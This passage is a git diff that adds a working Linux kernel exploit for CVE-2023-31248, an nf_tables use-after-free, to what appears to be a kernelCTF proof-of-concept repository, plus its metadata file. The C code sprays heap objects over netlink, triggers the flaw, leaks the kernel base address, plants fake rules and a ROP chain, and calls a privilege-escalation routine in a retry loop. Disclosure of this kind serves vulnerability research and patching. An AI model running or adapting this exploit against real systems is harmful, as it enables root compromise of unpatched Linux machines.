mnl_nlmsg_batch_start(buf, MNL_SOCKET_BUFFER_SIZE); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + usleep(500 * 1000); +} + +void spray_delay_chain(int table_id, char** delay_name){ + struct nlmsghdr * nlh; + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch; + int seq = 0; + + struct nftnl_chain * chains_delay[CHAIN_DELAY_SPRAY+1] = {0,}; + + for(int i = 0; i < CHAIN_DELAY_SPRAY; i++){ + char chain_name[1024] = {0,}; + chains_delay[i] = nftnl_chain_alloc(); + + sprintf(chain_name, "delay_%d%c", i, '\0'); + + nftnl_chain_set_str(chains_delay[i], NFTNL_CHAIN_TABLE, delay_name[table_id]); + nftnl_chain_set_str(chains_delay[i], NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chains_delay[i], NFTNL_CHAIN_FLAGS, 0); + } + + for(int i = 0; i < CHAIN_DELAY_SPRAY;){ + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int j = 0; j < 0x800; j++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_delay[i]); + mnl_nlmsg_batch_next(batch); + i++; + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + for(int i = 0; i < CHAIN_DELAY_SPRAY; i++) + nftnl_chain_free(chains_delay[i]); +} + +void prepare_delay(){ + printf("[*] Set-up delay........ \n"); + + struct nftnl_table * tables_delay[MAX_DELAY_TABLE1]; + + for (int i = 0; i < MAX_DELAY_TABLE1; i++) { + tables_delay[i] = nftnl_table_alloc(); + nftnl_table_set_str(tables_delay[i], NFTNL_TABLE_NAME, table_delay_name1[i]); + nftnl_table_set_u32(tables_delay[i], NFTNL_TABLE_FLAGS, 0); + } + + struct nftnl_table * tables_delay2[MAX_DELAY_TABLE2]; + + for (int i = 0; i < MAX_DELAY_TABLE2; i++) { + tables_delay2[i] = nftnl_table_alloc(); + nftnl_table_set_str(tables_delay2[i], NFTNL_TABLE_NAME, table_delay_name2[i]); + nftnl_table_set_u32(tables_delay2[i], NFTNL_TABLE_FLAGS, 0); + } + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE; + char *buf = malloc(buf_size); + + int seq = 0; + struct nlmsghdr * nlh; + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for (int i = 0; i < MAX_DELAY_TABLE1; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_delay[i]); + mnl_nlmsg_batch_next(batch); + } + + for (int i = 0; i < MAX_DELAY_TABLE2; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_delay2[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + free(buf); + + for(int i = 0; i < MAX_DELAY_TABLE1; i++){ + spray_delay_chain(i, table_delay_name1); + } + + for(int i = 0; i < MAX_DELAY_TABLE2; i++){ + spray_delay_chain(i, table_delay_name2); + } + + printf("[*] Set-up delay done... \n"); +} + +void delrule_by_handle(char* table_name, char* chain_name, uint64_t handle){ + size_t buf_size = MNL_SOCKET_BUFFER_SIZE; + char *buf = malloc(buf_size); + + int seq = 0; + struct nlmsghdr * nlh; + struct mnl_nlmsg_batch * batch; + + // delrule handle 0xffff chain_trigger + struct nftnl_rule * fake_rule = nftnl_rule_alloc(); + + nftnl_rule_set_str(fake_rule, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(fake_rule, NFTNL_RULE_CHAIN, chain_trigger_name); + nftnl_rule_set_u32(fake_rule, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + nftnl_rule_set_u64(fake_rule, NFTNL_RULE_HANDLE, handle); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, NFPROTO_IPV4, 0, seq++); + + nftnl_rule_nlmsg_build_payload(nlh, fake_rule); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + +} + +void do_check_leak(uint64_t *buf, uint size) +{ + for (int i = 0; i < size / sizeof(uint64_t) - 1; i++){ + uint64_t vaddr = *(buf + i); + + if((vaddr & 0xffff) == (NFT_COUNTER_OPS & 0xffff)){ + kbase = vaddr - NFT_COUNTER_OPS; + fake_ops_addr = *(buf + i - 2); + break; + } + } +} + +#define READ_SIZE 0x100 + +void do_leak(){ + struct nlmsghdr * nlh; + int seq = 0; + char buf[MNL_SOCKET_BUFFER_SIZE]; + memset(buf, 0, MNL_SOCKET_BUFFER_SIZE); + + for(int t = 0; t < TABLE_SPRAY; t++){ + char read_data[READ_SIZE] = {0,}; + memset(read_data, 0, READ_SIZE); + + struct nftnl_table *table_get = nftnl_table_alloc(); + nftnl_table_set_str(table_get, NFTNL_TABLE_NAME, table_names1[t]); + + nlh = nftnl_table_nlmsg_build_hdr(buf, NFT_MSG_GETTABLE, NFPROTO_IPV4, NLM_F_ACK, seq); + nftnl_table_nlmsg_build_payload(nlh, table_get); + nftnl_table_free(table_get); + + if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) { + err(1, "mnl_socket_send"); + } + + int ret; + + ret = mnl_socket_recvfrom(nl, read_data, READ_SIZE); + if (ret > 0) { + do_check_leak((uint64_t*) (read_data+4), ret); + if (kbase != 0) { + break; + } + } + } +} + +void exploit(){ + set_affinity(1); + + nl = mnl_socket_open(NETLINK_NETFILTER); + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { + perror("mnl_socket_bind"); + exit(EXIT_FAILURE); + } + + uint64_t *table_spray_data = malloc(1024); + memset(table_spray_data, 0, 1024); + + spray_table(table_names1, FAKE_RULE_SIZE, table_spray_data, LEAK_SIZE); + + setup_table(); + + prepare_delay(); + + struct nftnl_chain * chain_target = nftnl_chain_alloc(); + struct nftnl_chain * chain_trigger = nftnl_chain_alloc(); + struct nftnl_chain * chain_dummy = nftnl_chain_alloc(); + struct nftnl_chain * chain_fake_rule = nftnl_chain_alloc(); + + uint32_t chain_target_id = 1337; + + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_target, NFTNL_CHAIN_NAME, chain_target_name); + nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_FLAGS, 0); + nftnl_chain_set_u32(chain_target, NFTNL_CHAIN_ID, chain_target_id); + + nftnl_chain_set_str(chain_trigger, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_trigger, NFTNL_CHAIN_NAME, chain_trigger_name); + nftnl_chain_set_u32(chain_trigger, NFTNL_CHAIN_FLAGS, 0); + + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_dummy, NFTNL_CHAIN_NAME, chain_dummy_name); + nftnl_chain_set_u32(chain_dummy, NFTNL_CHAIN_FLAGS, 0); + + nftnl_chain_set_str(chain_fake_rule, NFTNL_CHAIN_TABLE, table1_name); + nftnl_chain_set_str(chain_fake_rule, NFTNL_CHAIN_NAME, chain_fake_rule_name); + nftnl_chain_set_u32(chain_fake_rule, NFTNL_CHAIN_FLAGS, 0); + + struct nftnl_chain * chains_cross_cpu[CROSS_CPU_OBJS+1] = {0,}; + + for(int i = 0; i < CROSS_CPU_OBJS; i++){ + char chain_name[1024] = {0,}; + chains_cross_cpu[i] = nftnl_chain_alloc(); + + memset(chain_name, 'a', 128); + sprintf(chain_name, "pc_%d%c", i, '\0'); + + if((i % 16) == 0) + nftnl_chain_set_str(chains_cross_cpu[i], NFTNL_CHAIN_TABLE, table_cross_cpu_name); + else + nftnl_chain_set_str(chains_cross_cpu[i], NFTNL_CHAIN_TABLE, table_chain_hold_name); + nftnl_chain_set_str(chains_cross_cpu[i], NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(chains_cross_cpu[i], NFTNL_CHAIN_FLAGS, 0); + } + + struct nftnl_rule * rule_trigger = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_trigger, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_trigger, NFTNL_RULE_CHAIN, chain_trigger_name); + nftnl_rule_set_u32(rule_trigger, NFTNL_RULE_FAMILY, NFPROTO_IPV4); + + struct nftnl_expr * expr = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_u32(expr, NFTNL_EXPR_IMM_CHAIN_ID, chain_target_id); + + // nest the expression into the set + nftnl_rule_add_expr(rule_trigger, expr); + + struct nftnl_table * table_cross_cpu = nftnl_table_alloc(); + + nftnl_table_set_str(table_cross_cpu, NFTNL_TABLE_NAME, table_cross_cpu_name); + nftnl_table_set_u32(table_cross_cpu, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + + struct nlmsghdr * nlh; + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 10; + char *buf = malloc(buf_size); + + struct mnl_nlmsg_batch * batch; + int seq = 0; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_fake_rule); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < CROSS_CPU_OBJS/2; i++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_cross_cpu[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_dummy); + mnl_nlmsg_batch_next(batch); + + // add target chain + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_target); + mnl_nlmsg_batch_next(batch); + + for(int i = CROSS_CPU_OBJS/2; i < CROSS_CPU_OBJS; i++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_cross_cpu[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_trigger); + mnl_nlmsg_batch_next(batch); + + // del table to del chains + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, table_cross_cpu); + mnl_nlmsg_batch_next(batch); + + // del target chain + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_target); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELCHAIN, NFPROTO_IPV4, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_dummy); + mnl_nlmsg_batch_next(batch); + + struct nftnl_table * table_delay = nftnl_table_alloc(); + + for (int i = 0; i < MAX_DELAY_TABLE1; i++) { + nftnl_table_set_str(table_delay, NFTNL_TABLE_NAME, table_delay_name1[i]); + nftnl_table_set_u32(table_delay, NFTNL_TABLE_FAMILY, NFPROTO_IPV4); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, table_delay); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, NFPROTO_IPV4, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_trigger); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, NFPROTO_IPV4, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_trigger); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + pid_t pid = fork(); + + if(pid == 0){ + // Allocate Victim Chain + do_victim_chain(); + + exit(0); + } + else if(pid > 0) { + usleep(50*1000); + printf("[*] Trigger .....\n"); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + printf("[*] Trigger done\n"); + + usleep(1000); + + printf("[*] Spray1 start..\n"); + + spray_table(table_names1, 0, table_spray_data, LEAK_SIZE); + spray_table(table_names2, 0, table_spray_data, FAKE_RULE_SIZE); + + printf("[*] Spray1 done...\n"); + } + + int status = 0; + + waitpid(pid, &status, 0); + + set_affinity(0); + + printf("[*] Spray for leak..\n"); + + int rule_leak_count = 0x200; + + add_rules(chain_fake_rule_name, rule_leak_count, LEAK_SIZE); + + do_leak(); + + if(kbase == 0){ + printf("[-] Leak failed ...\n"); + return; + } + + printf("[*] Leak success! kbase: %lx fake_ops_addr: %lx \n", kbase, fake_ops_addr); + + int rule_rip_count = 0x400; + + add_rules(chain_trigger_name, rule_rip_count, FAKE_RULE_SIZE); + + free_table(table_names2); + + make_fake_rule(table_spray_data); + + spray_table(table_names2, 0, table_spray_data, FAKE_RULE_SIZE); + + usleep(100 * 1000); + + delchain_by_name(chain_fake_rule_name); + + make_payload_rop(table_spray_data); + + spray_table(table_names1, 0, table_spray_data, LEAK_SIZE); + + usleep(100 * 1000); + + printf("[*] ROP Start ...\n"); + + delrule_by_handle(table1_name, chain_trigger_name, FAKE_RULE_HANDLE); + + win(); +} + +int main(int argc, char ** argv) +{ + while(1){ + new_ns(); + exploit(); + + printf("[-] Retry...\n\n"); + } + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/metadata.json new file mode 100644 index 000000000..fc38d11c5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/metadata.json @@ -0,0 +1,34 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp63" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=515ad530795c118f012539ed76d02bacfd426d89", + "cve": "CVE-2023-31248", + "affected_versions": [ + "5.9-rc1 - 6.5-rc1" + ], + "requirements": { + "attack_surface": [ + "userns" + ], + "capabilities": [ + "CAP_NET_ADMIN" + ], + "kernel_config": [ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits": { + "mitigation-6.1": { + "uses": [ + "userns" + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "5 times success per 10 times run" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-31248_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/original.tar.gz new file mode 100644 index 000000000..438ba1511 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-31248_mitigation/original.tar.gz differ